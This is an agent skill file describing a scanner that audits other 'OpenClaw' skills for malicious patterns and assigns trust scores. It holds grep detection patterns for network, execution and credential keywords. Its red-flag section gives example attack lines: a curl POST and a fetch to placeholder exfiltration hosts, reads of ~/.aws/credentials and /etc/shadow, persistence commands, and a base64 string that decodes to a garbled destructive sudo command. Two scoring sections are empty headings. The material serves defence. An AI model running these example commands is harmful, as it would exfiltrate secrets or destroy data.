skill-security-scanner（技能安全扫描仪）

Skill Security Scanner

Scan OpenClaw skills for security issues, suspicious patterns, and give a trust score. Helps users make informed decisions about which skills to trust.

When to Use

• Before installing a new skill from ClawHub
• Auditing existing installed skills
• User asks "is this skill safe?"
• After ClawHavoc type incidents (malicious skills in ecosystem)
• Before running untrusted skills

Quick Reference

Scanning Strategy

1. Check Metadata (Frontmatter)

Look for:

• bins - CLI tools skill needs
• env - Environment variables (API keys, tokens)
• requires.config - Required config settings
• requires.bins - Binary dependencies

Red flags:

• Skills requesting many bins without clear purpose
• Env vars for sensitive services (AWS keys, database passwords)
• Config requiring admin/elevated permissions

2. Analyze SKILL.md Content

Suspicious patterns to detect:

# Network calls to unknown domains
grep -E "(curl|wget|http|https).*\.com" SKILL.md
grep -E "fetch\(|axios\(" SKILL.md

# File system access beyond declared scope
grep -E "rm -rf|dd |mkfs" SKILL.md

# Credential access
grep -E "password|secret|token|key" SKILL.md

# Execution of downloaded code
grep -E "eval\(|exec\(|system\(" SKILL.md

# Base64 encoded commands
grep -E "base64|-enc|-encode" SKILL.md

3. Trust Score Calculation

Score from 0-100 based on:

4. Risk Levels

Output Format

Scan Result

🔍 Skill: <skill-name>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: <score>/100 (<risk-level>)

📋 Permissions Requested:
   • bins: curl, jq
   • env: OPENWEATHER_API_KEY

⚠️ Issues Found:
   1. [MEDIUM] Requests network access but no clear purpose
   2. [LOW] No recent updates (6+ months)

✅ Positive Signs:
   • Official OpenClaw skill
   • Clear documentation

Trust Report

Generate a full report:

## Security Analysis: <skill-name>

### Score: <score>/100 (<risk-level>)

### Permissions Analysis
| Type | Requested | Risk |
|------|-----------|------|
| bins | curl, jq | Low |
| env | API_KEY | Medium |

### Code Pattern Analysis
- ✅ No suspicious execution patterns
- ✅ No credential access attempts  
- ⚠️ 2 network calls to external domains

### Recommendation
<RECOMMENDATION>

Common Red Flags

High Risk Patterns

1. Network exfiltration

   # Example: sending data to unknown servers
   # curl -X POST https://SUSPICIOUS-DOMAIN/exfil
   # fetch("https://data-collector.DOMAIN")

1. Credential harvesting

   # Example: reading credentials
   # cat ~/.aws/credentials
   # grep "password" /etc/shadow

1. Persistence mechanisms

   # Example: auto-start, cron, systemd
   # sudo crontab -l
   # systemctl enable

1. Obfuscated code

   # Example: base64 encoded commands
   echo "c3VkbyByb20gL3J0ZiAv" | base64 -d

Medium Risk Patterns

1. Excessive permissions - More bins/envs than needed
2. No documentation - Unclear what skill does
3. Outdated - No updates in 6+ months
4. Third-party dependencies - Unknown npm/go packages

Green Flags

1. ✅ Official OpenClaw skills (openclaw/skills)
2. ✅ Clear, specific permissions
3. ✅ Active maintenance (recent commits)
4. ✅ Open source with clear code
5. ✅ Known author with reputation

Workflows

Before Installing New Skill

# 1. Get skill path (ClawHub or local)
# 2. Run full scan
scan-skill /path/to/skill

# 3. Check trust score
trust-score /path/to/skill

# 4. Review issues
# 5. Decide: install / skip / investigate more

Regular Security Audit

# Weekly: scan all installed skills
scan-all

# Monthly: generate full report
# Save to .learnings/ for documentation

Quick Trust Check

# For quick decision
trust-score <path>

# If score < 60, do full scan
# If score < 40, don't use

Integration with Other Skills

• Works with self-improving-agent - Log security findings
• Use memory - Remember trust scores for known skills
• Report findings to user before risky operations

Best Practices

1. Always scan before installing untrusted skills
2. Document scan results in .learnings/
3. Share findings with community (anonymized)
4. Update trust scores when vulnerabilities found
5. Trust but verify - Don't rely solely on automated scanning

Examples

Example 1: Scanning Before Install

User wants to install "cool-new-skill" from ClawHub:

> scan-skill ./skills/cool-new-skill

🔍 Scanning: cool-new-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 72/100 (🟡 Medium)

📋 Permissions:
   • bins: none
   • env: none

⚠️ Issues:
   • No recent updates (8 months)
   • Unknown author

✅ Positives:
   • Clear documentation
   • Minimal permissions

💡 Recommendation: Safe to try, monitor usage

Example 2: Finding Malware

> scan-skill ./skills/suspicious-skill

🔍 Scanning: suspicious-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 23/100 (🔴 CRITICAL)

📋 Permissions:
   • bins: curl, base64
   • env: API_KEY, SECRET_TOKEN

🚨 CRITICAL ISSUES FOUND:
   1. Network exfiltration pattern detected
   2. Credential access attempt
   3. Obfuscated commands (base64)

💀 Recommendation: DO NOT USE - Potential malware

Example 3: Audit Report

> scan-all

📋 Scanning all skills in ~/.openclaw/workspace/skills/
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ github: 95/100 (safe)
⚠️ todoist: 68/100 (review needed)
✅ self-improving-agent: 92/100 (safe)
🔴 unknown-skill: 34/100 (remove recommended)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary: 2 safe, 1 review, 1 remove

Related

• ClawHavoc incident (Feb 2026) - 341 malicious skills
• Agent Trust Hub - Third-party security tooling
• OpenClaw Security docs: docs.openclaw.ai/gateway/security